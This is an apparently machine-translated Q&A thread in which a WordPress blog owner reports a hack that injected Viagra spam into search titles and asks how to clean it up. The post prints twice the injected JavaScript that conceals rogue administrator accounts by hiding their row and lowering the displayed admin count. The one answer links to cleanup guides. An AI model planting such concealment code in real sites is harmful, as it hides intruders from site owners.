Как найти и убрать WordPress из скриптов, которые изменяют заголовки вашего блога в Google и Yahoo, с неловким «текстом Виагры»? - PullRequest
3 голосов
/ 22 апреля 2010

Однажды после того, как удалось защитить от массированной DDoS-атаки, теперь http://arabcrunch.com взломан кем-то, кто, кажется, меняет заголовок сообщения на рекламу Виагры в поисковой системе Google.

www.google.com/search?hl=en&client=safari&rls=en&q=Viagra+Online+Pharmacy+-+Buy+Online+Viagra%2C+Cialis%2C+Levitra+wordpress+hack&aq=f&aqi=&aql=&oq=&gs_rfai=

и здесь:

google.com/search?hl=en&client=safari&rls=en&q=idescribe&btnG=Search&aq=f&aqi=g-s1g-sx2g-s1g-sx1&aql=&oq=&gs_rfai=

Мы сделали чистую установку WP с чистыми плагинами и импортировали нашу БД со старыми записями и всеми страницами. затем вручную добавили каждый необходимый нам puglin, затем перестроили sitemap.xml

но теперь мы обречены, так как любое ключевое слово, которое вы ищете, получит результат в Google с заголовком: Интернет-аптека Виагра - купить онлайн Виагру, Сиалис, Левитра

Я обнаружил в таблице БД wp_usermeta user_id: 16, что имя пользователя является скриптом:

<b id="user_superuser"><script language="JavaScript">
  var setUserName = function(){ 
      try{    
        var t=document.getElementById("user_superuser");   
                 while(t.nodeName!="TR"){      
           t=t.parentNode;                };   
         t.parentNode.removeChild(t);      
      var tags = document.getElementsByTagName("H3");    
        var s = " shown below"; 
           for (var i = 0; i < tags.length; i++) {    
             var t=tags[i].innerHTML;        
         var h=tags[i];             
    if(t.indexOf(s)>0){   
                   s =(parseInt(t)-1)+s;
                      h.removeChild(h.firstChild);
                      t = document.createTextNode(s);  
                        h.appendChild(t);                     }                }
   var arr=document.getElementsByTagName("ul");
   for(var i in arr) if(arr[i].className=="subsubsub"){
       var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
       if(n[1]>0){   var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)    </gi,">Administrator ("+(n[1]-1)+")<");   arr[i].innerHTML=txt;       }   } 
             }catch(e){};
      };      addLoadEvent(setUserName);      </script>

Это улыбка для взлома ArabCrunch EN вместе с тысячами блогов WP, пострадавших 9 9 2009 Читайте об этом и ссылки на решения здесь: arabcrunch.com/2009/09/arabcrunch-and-wordpress-under-attack.html

После установки мы нашли 2 новых пользователей: wordpress.org и system, оба настроены как admin и имеют тот же скрипт, что и их имя пользователя:

<div id="user_superuser"><script language="JavaScript">
var setUserName = function(){
 try{
  var t=document.getElementById("user_superuser");
  while(t.nodeName!="TR"){
   t=t.parentNode;
  };
  t.parentNode.removeChild(t);
  var tags = document.getElementsByTagName("H3");
  var s = " shown below";
  for (var i = 0; i < tags.length; i++) {
   var t=tags[i].innerHTML;
   var h=tags[i];
   if(t.indexOf(s)>0){
    s =(parseInt(t)-1)+s;
    h.removeChild(h.firstChild);
    t = document.createTextNode(s);
    h.appendChild(t);
   }
  }
  var arr=document.getElementsByTagName("ul");
  for(var i in arr) if(arr[i].className=="subsubsub"){
   var n=/>Administrator ((d+))</gi.exec(arr[i].innerHTML);
   if(n[1]>0){
    var txt=arr[i].innerHTML.replace(/>Administrator ((d+))</gi,">Administrator ("+(n[1]-1)+")<");
        arr[i].innerHTML=txt;
        }
    }
          }catch(e){};
     };
     addLoadEvent(setUserName);
</script></div>

Есть идеи, как это решить?

1 Ответ

1 голос
/ 22 апреля 2010

Экспорт и очистка базы данных перед ее импортом в новую установку WP: см. FAQ: мой сайт был взломан «WordPress Codex и как полностью очистить ваш взломанный»WordPress установки.

...